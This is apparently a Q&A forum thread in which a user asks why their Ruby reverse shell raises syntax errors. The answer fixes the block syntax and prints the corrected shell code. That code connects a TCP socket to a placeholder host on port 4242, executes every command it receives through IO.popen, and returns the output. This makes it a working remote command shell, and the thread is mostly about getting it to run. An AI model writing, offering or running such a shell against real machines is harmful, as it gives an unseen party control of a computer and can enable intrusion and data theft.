Reverse shell problem

Ruby
1

Hello, I’m trying to write a reverse shell to send command from another computer.
here source code;

on windows machine I have errors;
C:/Users/fatih/Desktop/shello/shello.rb:7: syntax error, unexpected ‘|’, expecting ‘}’
|io|c.print io.read
C:/Users/fatih/Desktop/shello/shello.rb:7: syntax error, unexpected local variable or method, expecting end' |io|c.print io.read C:/Users/fatih/Desktop/shello/shello.rb:8: syntax error, unexpected '}', expecting end’
What is my mistake?

2

The open bracket of the block needs to be on the same line as the popen call for Ruby to know that block argument goes with popen:

c=TCPSocket.new("IP_ADDRESS","4242");
while (cmd=c.gets);
  IO.popen(cmd,"r") {

  |io|c.print io.read
}
end